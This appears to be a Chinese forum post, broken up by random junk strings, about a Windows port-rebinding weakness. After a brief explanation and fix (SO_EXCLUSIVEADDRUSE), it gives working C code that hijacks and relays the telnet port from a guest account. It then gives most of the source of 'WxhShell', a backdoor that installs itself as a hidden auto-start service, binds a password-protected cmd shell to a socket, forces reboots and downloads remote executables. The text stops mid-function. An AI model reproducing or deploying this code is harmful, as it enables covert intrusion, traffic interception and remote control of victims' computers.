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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V^Nc0r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lKa}Bcd v<c8qg saddr.sin_family = AF_INET; } o=g) )QKZI))G0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); rj6wKfz 0)nU[CY bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J"z8olV 3}sd%vCK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 APF-*/K? 1ptP ey 这意味着什么?意味着可以进行如下的攻击: @Pa ;h FPu,sz8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \:Nbl<9(9 [#.QDe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .NPai4V' m*(8I=]q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ed617J ]v+\v re 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9iv!+(ni :${Lm&J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +DU}f;O8v jfI|( P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xf.SJ8G R[9[lQ'vR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5` Q#2 }96^OQPE #include Q2+e` #include ,H|V\\ #include Iz ,C!c #include \oaO7w,:" DWORD WINAPI ClientThread(LPVOID lpParam); yDHH05Yl int main() p(
z.[ { [rf.P'p% WORD wVersionRequested; {>syZZ,h DWORD ret; HtXzMSGo7 WSADATA wsaData; $cYh X^YG. BOOL val; |{Oe&j3| SOCKADDR_IN saddr; VkUMMq{ SOCKADDR_IN scaddr; f>Ij:b`Z2 int err; X)'uTf0 SOCKET s; C7nLa@ SOCKET sc; aiz_6@Qfz* int caddsize; g4U%(3,>D HANDLE mt; zHyM@*Gf( DWORD tid; [t>}M6?R: wVersionRequested = MAKEWORD( 2, 2 ); 4Sw)IU~K( err = WSAStartup( wVersionRequested, &wsaData ); ['{mW4i if ( err != 0 ) { 0Pbv7)=XL printf("error!WSAStartup failed!\n"); 2o6%P}C return -1; 38rC;
6 } teET nz_L saddr.sin_family = AF_INET; N 0`)WLW 2'N%KKmJL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y68oBUd_E g"F vD_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IY+P Yad saddr.sin_port = htons(23); Q
xKC5`1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hg |DpP { 2 y,f printf("error!socket failed!\n"); N U\B return -1; rZ
*}jD[ } Z}WMpp^r val = TRUE; )$Mgp*? //SO_REUSEADDR选项就是可以实现端口重绑定的 Ia[e7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <AzvVSA, { MsfY|(/m printf("error!setsockopt failed!\n"); l&[ x)W return -1; eR =P } Hh,q)(Wo //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]^E<e!z={$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oS, %L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =M>pL+# F!'y47QD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {}~7Gi! { {Q I"WFdGx ret=GetLastError(); K&\xbT printf("error!bind failed!\n"); <-FAF:6$@@ return -1; E]i3E[T } `! listen(s,2); AYfW}V" while(1) '4ftclzL { j$,:cN caddsize = sizeof(scaddr); Qv|A^%Ub! //接受连接请求 3D(/k%;) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R8sj>.I9j if(sc!=INVALID_SOCKET) KHI-m9( { 4uwI=U UB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DFcgUEq if(mt==NULL) bU7n1pzW,o { ol[
printf("Thread Creat Failed!\n"); !T!U@e=u break; xhWWl(r`5 } u%}zLwMH } :H@Q`g u CloseHandle(mt); RNiFLD%5 } GU([A@; closesocket(s); =#
<!s! WSACleanup(); Et}S*!IS return 0; ">@]{e* } `O5wM\Z DWORD WINAPI ClientThread(LPVOID lpParam) 0NL~2Qf_4 { C|*U)#3:F SOCKET ss = (SOCKET)lpParam; s#hIzt SOCKET sc; I r]#u]Ap unsigned char buf[4096]; OWx-I\: SOCKADDR_IN saddr; ;p)RMRMg long num; 3MH9%*w'0 DWORD val; gY|f[M| DWORD ret; \!x~FVA //如果是隐藏端口应用的话,可以在此处加一些判断 GHWi,' mr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *eK\W00 saddr.sin_family = AF_INET; 3"FvYv{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m:SG1m_6 saddr.sin_port = htons(23); zk#"n&u0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r~nD%H:}P { `tw[{Wb printf("error!socket failed!\n"); i&= I5$ return -1; <Nwqt[. } JFewOt3 val = 100; (E[c-1s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Ya%R@b} { W8,4LxH ret = GetLastError(); Ve)P/Zz}^ return -1; GJS3O;2* } ;UUpkOQO( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Xcjr2]~ { D`d*bNR ret = GetLastError(); A#k(0e!O return -1; zZp0g^;.? } Di)%vU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4&N#d;ErC { Pw+PBIGn4 printf("error!socket connect failed!\n"); /Z^"[Ke closesocket(sc); [J{\Ke0<e1 closesocket(ss); Bie#GKc return -1; =>3wI'I } JJe8x4 while(1)
!:Z
lVIA { S1$lNB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e<A6=} //如果是嗅探内容的话,可以再此处进行内容分析和记录 wr5ScsNS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &tVIl$e
num = recv(ss,buf,4096,0);
X} {z7[ if(num>0) -+ylJo[D send(sc,buf,num,0); ` `mnk>/ else if(num==0) K-,4eq! break; X(Z~oGyg num = recv(sc,buf,4096,0); J,(@1R]KF: if(num>0) *yl?M<28 send(ss,buf,num,0); #z6[8B else if(num==0) HKp|I%b]J break; yM}~]aQ y } X<8?># closesocket(ss); {#` O'F> closesocket(sc); Y8v13"P6 return 0 ; {=I:K|& } {'#1do}{
B_Ul&V H2kib4^i ========================================================== WwUhwY1o!L PaD6||1F 下边附上一个代码,,WXhSHELL Ah2*7@U tq$L* ++O ========================================================== %plu]^Vy *jR4OY|DXH #include "stdafx.h" [g<Y,0,J I|n?32F #include <stdio.h> I4XnJ[N% #include <string.h> baQORU=X #include <windows.h> /Fk]>|* #include <winsock2.h> ~%chF/H #include <winsvc.h> _"%hcCMw #include <urlmon.h> d4~;!#< &zR\Rmpt #pragma comment (lib, "Ws2_32.lib") 3#A4A0 #pragma comment (lib, "urlmon.lib") \+)aYP2Hu +$}3=n34) #define MAX_USER 100 // 最大客户端连接数 Bo,>blspw #define BUF_SOCK 200 // sock buffer whi#\>i #define KEY_BUFF 255 // 输入 buffer y#T.w0* r1axC% #define REBOOT 0 // 重启 Z)&!ZlM #define SHUTDOWN 1 // 关机 ='vD4}"j `.z"Q%uz #define DEF_PORT 5000 // 监听端口 \OJam<hZ .} O@<t #define REG_LEN 16 // 注册表键长度 Kpg?'
!I #define SVC_LEN 80 // NT服务名长度 ty8>(N(~ w!dgIS$ // 从dll定义API 'Z*`~,Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +0ALO%G;G" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _`I}"`2H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v!`:{)2C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &HQ_e$1 ;~-ZN?8
// wxhshell配置信息 TMsc5E struct WSCFG { %lk^(@+ T int ws_port; // 监听端口 jj&mRF0gCb char ws_passstr[REG_LEN]; // 口令 I A%ZCdA; int ws_autoins; // 安装标记, 1=yes 0=no hp c &s char ws_regname[REG_LEN]; // 注册表键名 B[.$<$}G char ws_svcname[REG_LEN]; // 服务名 q4ttmL8 char ws_svcdisp[SVC_LEN]; // 服务显示名 R-Ys<; char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q7.jSL6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2YDD`:R
int ws_downexe; // 下载执行标记, 1=yes 0=no ^Gi7th, char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Cnr=1E= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v M'!WVs 6:~<L!`& }; Sse%~:FL ExhK\J // default Wxhshell configuration g`z;:ao struct WSCFG wscfg={DEF_PORT, C$0rl74Wi "xuhuanlingzhe", 2qdc$I&$ 1, sYhHh$mwA "Wxhshell", *sQ.y
{ "Wxhshell", GrUpATIx "WxhShell Service", P{LS +. "Wrsky Windows CmdShell Service",
Y\Z6u) "Please Input Your Password: ", `_k_}9Fr 1, .-'_At4g " http://www.wrsky.com/wxhshell.exe", w`DcnQK' "Wxhshell.exe" @HzK)%@
}; j8oX9
Yo0= 2"T
b><^" // 消息定义模块 **$kWbS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R;w$_1 char *msg_ws_prompt="\n\r? for help\n\r#>"; ?)ct@,Ek$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; .i {yW char *msg_ws_ext="\n\rExit."; 2TG2<wqvE char *msg_ws_end="\n\rQuit."; 1M.#7;#B3 char *msg_ws_boot="\n\rReboot..."; 2$o#b. char *msg_ws_poff="\n\rShutdown..."; &q&~&j'[ char *msg_ws_down="\n\rSave to "; .]H/u
"d %+nM4)h char *msg_ws_err="\n\rErr!"; x<`^4|< char *msg_ws_ok="\n\rOK!"; lVuBo& b<!' WpY- char ExeFile[MAX_PATH]; a@Vk(3Rx_ int nUser = 0; a ~YrQI-@ HANDLE handles[MAX_USER]; /!J xiGn int OsIsNt; cTz@ga;!mI yEMM@5W)8 SERVICE_STATUS serviceStatus; =),O ;M SERVICE_STATUS_HANDLE hServiceStatusHandle; P*jiz@6 ,PoG=W
// 函数声明 g&S>Wq%L int Install(void); LGw-cX # int Uninstall(void); _Ss}dU9 int DownloadFile(char *sURL, SOCKET wsh); )Tieef*Q~ int Boot(int flag); k.7!)jL7 void HideProc(void); tU$n3Bg int GetOsVer(void); *<:6A&'D9 int Wxhshell(SOCKET wsl); WJxcJE void TalkWithClient(void *cs); u$CN$ynS int CmdShell(SOCKET sock); cNT !}8h^ int StartFromService(void); y4! :l=E^ int StartWxhshell(LPSTR lpCmdLine); M,W-,l
] UD8e,/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5t-d+vB VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6ddRFpe (-Q~@Q1 // 数据结构和表定义 ^I|i9MH SERVICE_TABLE_ENTRY DispatchTable[] = ePZAi"k { 'gXD?ARW {wscfg.ws_svcname, NTServiceMain}, ]&; In,z {NULL, NULL} Yn$:|$ }; JB%_&gX)v MLlvsa0 // 自我安装 & kVa*O int Install(void) Qn|8Ic` * { G)^/#d#& char svExeFile[MAX_PATH]; skXzck HKEY key; {0lu>?< strcpy(svExeFile,ExeFile); /NjBC[P auB
931| // 如果是win9x系统,修改注册表设为自启动 :{^~&jgL if(!OsIsNt) { w#hg_RK(Jr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k]C k%[d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KgbBa2@+ RegCloseKey(key); R>Dr1fc} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ).`v&-cK4E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,;hpqu| RegCloseKey(key); Lagk return 0; ;&gk)w6* } 4%zy$,|e } BeLqk3'/ } +)bn}L>Rl else { FZ}^)u}o K2e68GU // 如果是NT以上系统,安装为系统服务 ]'7Au]Us` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "+4Jmf9 if (schSCManager!=0) CJh,-w{wJ" { q.<)0nk SC_HANDLE schService = CreateService t9MCT$U ( l.]wBH#RS schSCManager, T{^ P wscfg.ws_svcname, ?&zi{N wscfg.ws_svcdisp, r7].48D SERVICE_ALL_ACCESS, 5!S#}=f= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pH.&C 5kA SERVICE_AUTO_START, i-;#FT+Xc SERVICE_ERROR_NORMAL, PH&Qw2(Sx svExeFile, TDbSK&w :s NULL, @)0 NULL,
;~L,Aqn7 NULL, 5073Q~ NULL, 7.Z- NULL h)fsLzn]Tf ); x#&_/oqAk if (schService!=0) !s^XWsb8 { z. X
hE \ CloseServiceHandle(schService); fVgN8b|&' CloseServiceHandle(schSCManager); fzw:[z:% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x:4R?!M. strcat(svExeFile,wscfg.ws_svcname); 7]{t^* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nSh~mP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CbW[_\ RegCloseKey(key); [&4+
<Nl' return 0; '_V9FWDZ } ]" e'z } KQb&7k. CloseServiceHandle(schSCManager); MRXw)NAw } >q&5Z } T
iL.py, U^|T{g+O return 1; U}DE9e{/! } ]T|$nwQ fMUh\u3 // 自我卸载 !ht2*8$lQ int Uninstall(void) Wu<;QY($5 { 4eB oR%2o HKEY key; 6it
[i@*" u?fM.=/N if(!OsIsNt) { t:V._@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0G-obHe0 RegDeleteValue(key,wscfg.ws_regname); iZiT/#, H2 RegCloseKey(key); EI*~VFx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P
qC#[0Qy RegDeleteValue(key,wscfg.ws_regname); ~]RfOpq^w RegCloseKey(key); ?<^8,H return 0; d/F^ez } sbX7VfAR` } C|Y[T{g?t } nA_'jl else { _aOs8#(X ^'`(E_2u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LxGD=b if (schSCManager!=0) kvbW^pl { AD<>)( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nyqX\m- if (schService!=0) 52j3[in { vV$t`PEY if(DeleteService(schService)!=0) { LQr!0p.i" CloseServiceHandle(schService); RCYv 2=m>Q CloseServiceHandle(schSCManager); jSHFY]2 return 0; 6;:D!},'c } .%7Le|Fb" CloseServiceHandle(schService); ZzgzeT+bv } {DKZ~ CloseServiceHandle(schSCManager); )-1e}VF(U } YLTg(* } T%&vq6 zj]
g^c; return 1; f OR9 N/ } u&c%L0)E& jQ'g'c! // 从指定url下载文件 xRgdU+,Mj int DownloadFile(char *sURL, SOCKET wsh) I<sUB4T>#W { lb}RPvQE HRESULT hr; j!!s>7IZ char seps[]= "/"; IAGY-+8e char *token; mF~]P8 char *file; ]NBx5m+y@i char myURL[MAX_PATH]; B0gD4MX/ char myFILE[MAX_PATH]; >g>r_0. r<n:o7 strcpy(myURL,sURL); [t3 Kgjt token=strtok(myURL,seps); rjWtioZEa while(token!=NULL) r,.j^a { EATVce]T file=token; #oa>Z.?_V token=strtok(NULL,seps); wG7>2*( } .TdFI"Yn ezL1,GT GetCurrentDirectory(MAX_PATH,myFILE); &dWGa+e strcat(myFILE, "\\"); ttJ'6lGXh strcat(myFILE, file); Z]G#: send(wsh,myFILE,strlen(myFILE),0); XC~"T6F send(wsh,"...",3,0); 1aIGC9xQ` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4FZR }e\ if(hr==S_OK) Q>+rjN; return 0; k'|yUJ, else +x`pWH]2 return 1; PDw+Q sT!?nn3O` } i~v[3e9y7 s#aj5_G // 系统电源模块 Ck !"MK4 int Boot(int flag) =`|BofR { Gv dok<o HANDLE hToken; J|^XD<Y TOKEN_PRIVILEGES tkp; D6?h
6`J E:/!]sm! if(OsIsNt) { 9'sZi}rT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rrry;Hr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2*O#m tkp.PrivilegeCount = 1; ^?(#%~NS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }za pN
v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y7g%nz[[ if(flag==REBOOT) { ,4'y(X<R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F5YoEWS return 0; ?yjg\S?L } !LpjTMYs else { F."ZCEb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vxk0@k_ return 0; U _A'/p^D } vdgK3I } _6c/,a8;*J else { B@ufrQ#Y. if(flag==REBOOT) { z a_0-G%C2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b+ycEs=_ return 0; L"dN
$ A } j}/).O else { `W+-0F@Y?@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bfncO[Q,? return 0; `S-l.zSZ4B } ~F,YBX } d`flYNg4 TW(X#T@Z6I return 1; Xp06sl7 M } ic!% } S? 4[kyzz x // win9x进程隐藏模块 N;-%:nC void HideProc(void) BxV>s+o&] { uK(]@H7~!c n CX{tqy HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eXnSH$uI if ( hKernel != NULL ) $,/E"G` { N3\RXXY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2p;I<C:Eo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H? z~V-8 FreeLibrary(hKernel); 2BF455e } O:rfDO {j`8XWLZZN return; L;M@] } s1::\&`za :tnW ivrwR // 获取操作系统版本 k\SqDmv int GetOsVer(void) UNiK6h_% { :5j+^/ OSVERSIONINFO winfo; y5aPs z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pT~3<
, GetVersionEx(&winfo); H}G 9gi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :8/ 6dx@Y( return 1; rX5"p!z else F|m &n& return 0; YCb|eS^u } =Gzs+6A8 S~fP$L5 // 客户端句柄模块 McS]aJfrk int Wxhshell(SOCKET wsl) ZD|F"v. { H$WD7/?j SOCKET wsh; 0n2H7}Uq struct sockaddr_in client;
*$DD+]2 DWORD myID; hPz=Ec<zW xgkCN$zQ` while(nUser<MAX_USER) V{q*hQd_3 { DOFW"Sp E int nSize=sizeof(client); p&<n_b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CC3i@ if(wsh==INVALID_SOCKET) return 1; WW6-oQs_#* "mE/t ( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rsq EAdZw[ if(handles[nUser]==0) kjsj~jwvv closesocket(wsh); -
(((y)! else ~Yl.(R nUser++; TTa3DbFp% } Rm)hgmZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /!t:MK; ?Q"<AL>Z return 0; (X5y%~;V5a } {2T u_2> X|!@%wuGC // 关闭 socket b5]<!~Fv:` void CloseIt(SOCKET wsh)
T;{}bc&I { L.-qTh^P closesocket(wsh); AsuugcN* nUser--; z(.,BB[ ExitThread(0); ^["D>@yIR } )[UYCx' N>a~k}pPH // 客户端请求句柄 K+ M\E[1W void TalkWithClient(void *cs) N\. g+ W { "'Gq4<&y F,VWi$Po\N SOCKET wsh=(SOCKET)cs; \/SOpC char pwd[SVC_LEN]; #l-zY}& char cmd[KEY_BUFF]; Fz<1xyc( char chr[1]; .9z}S=ZK int i,j; 1~E4]Ef:W @mg5vt!$` while (nUser < MAX_USER) { 2g5 4<G*e .+?]"1>] if(wscfg.ws_passstr) { _ Dz*% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ho(}_Q& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I
H#CaD //ZeroMemory(pwd,KEY_BUFF); *>[q*SF i=0; Z<AZO ^ while(i<SVC_LEN) { bYem0hzOe @C[p? ak // 设置超时 #"TYk@whWf fd_set FdRead; jZmL7
V struct timeval TimeOut; e&ZH 1^O FD_ZERO(&FdRead); 1TfFWlf[B FD_SET(wsh,&FdRead); =Xid"$ TimeOut.tv_sec=8; jg%mWiKwK7 TimeOut.tv_usec=0; e8:O2!HW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @44*<!da if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jG& 8`*|* P<[)
qq@; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @~7au9.V=X pwd =chr[0]; \Jc}Hzug if(chr[0]==0xd || chr[0]==0xa) { %1GKN|7 pwd=0; uuh._H}- break; IS[q'Cv* } "B"ql-K i++; ,+v(?5[6 } x@O)QaBN! lF46W // 如果是非法用户,关闭 socket [z7]@v6b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z,dFDl$ } ZRwN #?x G i( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cl&)# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4/3w
* \f Kn} ]kG while(1) { ei1;@k/ b"td]H3h ZeroMemory(cmd,KEY_BUFF); n) HV:8j~ 4XiQ8"C // 自动支持客户端 telnet标准 %Y#W#G j=0; q`z1ht
nf while(j<KEY_BUFF) { fU%Mz\t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N;}X$b5Y @ cmd[j]=chr[0]; &io+* if(chr[0]==0xa || chr[0]==0xd) { bYhG`1,$-a cmd[j]=0; Y![i=/ break; N 5{w } \>.[QQVI"l j++; V5
9Vf[i| } `s=Z{bw 0/z$W.! // 下载文件 ;<0~^,Xm if(strstr(cmd,"http://")) { "9*MSsU send(wsh,msg_ws_down,strlen(msg_ws_down),0); `W1TqA if(DownloadFile(cmd,wsh)) c;yp}k]\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); $6r>
Tc]( else &:g1*+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l;aO"_E1m } &K=)YpT else { >8vq`,e CSWA/#&8> switch(cmd[0]) { ZN'B@E=p # M3d = // 帮助 _|MK0'+f case '?': { E2.!|u2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $kR%G{j 4 break; 0R]'HA> } ||7x51-yj // 安装 ,%V%g!6{ case 'i': { Y|/,*,u+ if(Install()) r`+G9sj3U send(wsh,msg_ws_err,strlen(msg_ws_err),0); =&.9z 4A else Pu BE=9, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Us+u-~ break; ].QzOV' } `!ja0Sq]U // 卸载 y<v-,b* case 'r': { fp 3`O9+em if(Uninstall()) mpIR: Im send(wsh,msg_ws_err,strlen(msg_ws_err),0); mv$gL else {Ov{O,c5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &f)pU>Di break; G/( tgQ } Ne1W!0YLK // 显示 wxhshell 所在路径 aE:$ N#|Qa case 'p': { Wn2J]BH char svExeFile[MAX_PATH];
jEP'jib% strcpy(svExeFile,"\n\r"); =6fJUy^M\ strcat(svExeFile,ExeFile); ,K&L/* send(wsh,svExeFile,strlen(svExeFile),0); }C=+Tn break; :2A-;P4 } a`C2:Z23(# // 重启 c,G[R k case 'b': { rC/z8m3z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oHV!>K_D if(Boot(REBOOT)) {p(6bsn_#] send(wsh,msg_ws_err,strlen(msg_ws_err),0); NVf_#p"h else { 5GJa+St? closesocket(wsh); dg(sRTi{ ExitThread(0); ^p%3@)& } <fgf L9- break; @zt "Y~9i } WE
/1h // 关机 1wggYX case 'd': { cy2K# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mGw*6kOIS if(Boot(SHUTDOWN)) cj#.Oaeq* send(wsh,msg_ws_err,strlen(msg_ws_err),0); w,!N{hv( else { fLkC| closesocket(wsh); >#.du}t ExitThread(0); $JK,9G[Vu } {k'$uW` break; N=!k2+ } T{'oR .g, // 获取shell G{a_\'7 case 's': { R!x
/,6,_ CmdShell(wsh); >T\^dHtz closesocket(wsh); h4~VzCR4x\ ExitThread(0); i$!K{H1{9 break; Y5mk*Q#q } WBD"d<>' // 退出 > IZ$ .- case 'x': { `n`HwDo;i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,!^;<UR: CloseIt(wsh); -e+im(2D= break; {]7lh#M } 7;sF0oB5e // 离开 ^|cax|> case 'q': { EM'#'fBZ>Y send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;T>. closesocket(wsh); `2G%&R,k"D WSACleanup(); kNrd=s,-]D exit(1); J
p0j break; T&E'MB } &w^:nVgl } #<-%% } *Oh]I|?
;,@Fz // 提示信息 YJZ`Clp? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AnBD~h h } +3R/g@n } _U~~[I YE-}1&8 return; v
5&8C } O F?o ^`9O$.'@ // shell模块句柄 . H8 6f != int CmdShell(SOCKET sock) A] f^9F@ { %^;rYn3 STARTUPINFO si; wJWofFz ZeroMemory(&si,sizeof(si)); B(R$5Xp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -JdNA2P
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h,i=Y+1 PROCESS_INFORMATION ProcessInfo; 2)|G%f_lS char cmdline[]="cmd"; LH q~` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @u-CR8^ return 0; gt(!I^LHYc } G mmh&Uj [5MV$)"!j // 自身启动模式 Ot~buf'| int StartFromService(void) %? O$xQ.< { {jEEAH) typedef struct &f/"ir[8i { U1=\ `)u; DWORD ExitStatus; |u^~Z-. DWORD PebBaseAddress; :LTjV"f DWORD AffinityMask; B5#>ieM* DWORD BasePriority; `M,Gsy1h ULONG UniqueProcessId; >ti)m >f ULONG InheritedFromUniqueProcessId; (U|WP%IM' } PROCESS_BASIC_INFORMATION; Ap<j;s4` Ce@"+k+w PROCNTQSIP NtQueryInformationProcess; poS=8mN8; ;fm>
